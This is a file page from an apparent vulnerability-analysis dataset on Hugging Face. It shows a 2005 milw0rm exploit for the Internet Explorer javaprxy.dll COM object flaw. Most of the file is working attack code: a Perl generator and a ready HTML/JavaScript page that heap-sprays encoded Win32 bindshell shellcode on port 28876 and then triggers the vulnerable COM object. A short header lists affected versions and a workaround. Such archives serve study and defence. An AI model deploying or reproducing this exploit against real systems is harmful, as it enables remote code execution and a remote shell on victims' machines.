Modelpublic
lilbool/vuln-code-analysis

sourceHugging Facemitupdated 2y agoView on Hugging Face
0likes
rootexploit-analyzerexploitsexploit_1079.txt
exploit_1079.txt140 linesDownload Raw Back to exploits
1<!--

2(update) frsirt updated the comments to reflect skylined's code + gpl. /str0ke

3

4Perl code is commented so people can test the vuln on their IE /str0ke

5

6#!/usr/bin/perl

7#

8######################################################

9# 

10# Microsoft Internet Explorer "javaprxy.dll" COM Object Exploit -Unpatched-

11#

12# Proof of Concept by the FrSIRT < http://www.frsirt.com / team@frsirt.com >

13#       Bindshell on port 28876 - Based on Berend-Jan Wever's IE exploit

14#                                            01 July 2005

15#

16# Description - http://www.frsirt.com/english/advisories/2005/0935

17# Workarounds - http://www.microsoft.com/technet/security/advisory/903144.mspx

18# sec-consult - http://www.sec-consult.com/184.html

19# 

20# Solution :

21# Set Internet and Local intranet security zone settings to "High" or use

22# another browser until a patch is released.

23#

24# Tested on : 

25# Internet Explorer 6 on Microsoft Windows XP SP2

26# Internet Explorer 6 on Microsoft Windows XP SP1

27#

28# Affected versions : 

29# Internet Explorer 5.01 Service Pack 3 on Microsoft Windows 2000 Service Pack 3

30# Internet Explorer 5.01 Service Pack 4 on Microsoft Windows 2000 Service Pack 4

31# Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 3

32# Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4

33# Internet Explorer 6 Service Pack 1 on Microsoft Windows XP Service Pack 1

34# Internet Explorer 6 for Microsoft Windows XP Service Pack 2

35# Internet Explorer 6 Service Pack 1 for Microsoft Windows XP 64-Bit SP1 (Itanium)

36# Internet Explorer 6 for Microsoft Windows Server 2003

37# Internet Explorer 6 for Microsoft Windows Server 2003 Service Pack 1

38# Internet Explorer 6 for Microsoft Windows Server 2003 for Itanium-based Systems

39# Internet Explorer 6 for Microsoft Windows Server 2003 with SP1 for Itanium

40# Internet Explorer 6 for Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)

41# Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition

42# Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition

43# Internet Explorer 5.5 Service Pack 2 on Microsoft Windows Millennium Edition

44# Internet Explorer 6 Service Pack 1 on Microsoft Windows 98

45# Internet Explorer 6 Service Pack 1 on Microsoft Windows 98 SE

46# Internet Explorer 6 Service Pack 1 on Microsoft Windows Millennium Edition 

47# 

48# Usage : perl iejavaprxyexploit.pl > mypage.html

49# 

50######################################################

51#

52# This program is free software; you can redistribute it and/or modify it under

53# the terms of the GNU General Public License version 2, 1991 as published by

54# the Free Software Foundation.

55# 

56# This program is distributed in the hope that it will be useful, but WITHOUT

57# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS

58# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more

59# details.

60# 

61# A copy of the GNU General Public License can be found at:

62# http://www.gnu.org/licenses/gpl.html

63# or you can write to:

64# Free Software Foundation, Inc.

65# 59 Temple Place - Suite 330

66# Boston, MA 02111-1307

67# USA.

68#

69######################################################

70

71# header

72my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";

73

74# Win32 bindshell (port 28876) - SkyLined

75my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".

76"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".

77"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".

78"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".

79"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".

80"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".

81"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".

82"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".

83"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".

84"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".

85"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".

86"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".

87"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".

88"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".

89"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".

90"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".

91"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".

92"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".

93"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

94

95# Memory 

96my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".

97"headersize = 20;\n".

98"slackspace = headersize+shellcode.length\n".

99"while (bigblock.length<slackspace) bigblock+=bigblock;\n".

100"fillblock = bigblock.substring(0, slackspace);\n".

101"block = bigblock.substring(0, bigblock.length-slackspace);\n".

102"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".

103"memory = new Array();\n".

104"for (i=0;i<750;i++) memory[i] = block + shellcode;\n".

105"</SCRIPT>\n";

106

107# javaprxy.dll 

108my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0'; 

109

110# footer

111my $footer = "<object classid=\"CLSID:".$clsid."\"></object>\n".

112"Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit\n".

113"by the FrSIRT < http://www.frsirt.com >\n".

114"Solution - http://www.frsirt.com/english/advisories/2005/0935".

115"</body><script>location.reload();</script></html>";

116

117# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin

118print "$header $shellcode $code $footer"; 

119

120-->

121

122<html><body>

123<SCRIPT language="javascript">

124 shellcode = unescape("%u4343"+"%u4343"+"%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");

125 bigblock = unescape("%u0D0D%u0D0D");

126headersize = 20;

127slackspace = headersize+shellcode.length

128while (bigblock.length<slackspace) bigblock+=bigblock;

129fillblock = bigblock.substring(0, slackspace);

130block = bigblock.substring(0, bigblock.length-slackspace);

131while(block.length+slackspace<0x40000) block = block+block+fillblock;

132memory = new Array();

133for (i=0;i<750;i++) memory[i] = block + shellcode;

134</SCRIPT>

135 <object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object>

136Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit

137by the FrSIRT < http://www.frsirt.com >

138Solution - http://www.frsirt.com/english/advisories/2005/0935</body><script>location.reload();</script></html>

139

140# milw0rm.com [2005-07-05]